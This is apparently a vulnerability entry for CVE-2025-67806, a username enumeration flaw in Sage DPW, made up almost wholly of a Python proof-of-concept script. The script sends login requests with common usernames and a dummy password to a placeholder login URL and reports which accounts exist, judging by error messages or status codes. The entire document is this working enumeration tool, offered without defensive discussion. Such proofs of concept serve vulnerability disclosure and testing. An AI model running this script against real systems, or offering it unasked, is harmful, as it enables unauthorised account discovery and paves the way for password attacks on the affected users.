CVE-2025-67806 Sage DPW 用户名枚举漏洞

import requests # Target URL for the login endpoint target_url = "https://target-sage-dpw.example.com/login" # List of usernames to enumerate usernames = ["admin", "administrator", "test", "user", "root"] print("Starting username enumeration...") for user in usernames: # Payload with specific username and a dummy password payload = { "username": user, "password": "InvalidPassword123!" } try: # Send POST request to the login endpoint response = requests.post(target_url, data=payload) # Analyze the response for differences # Logic depends on specific application behavior # Example: Checking for specific error messages or status codes if "User does not exist" in response.text or response.status_code == 404: print(f"[-] User not found: {user}") elif "Invalid password" in response.text or response.status_code == 401: print(f"[+] Valid username found: {user}") else: print(f"[?] Unclear response for {user}: Status {response.status_code}") except requests.RequestException as e: print(f"[!] Error connecting to server: {e}") print("Enumeration completed.")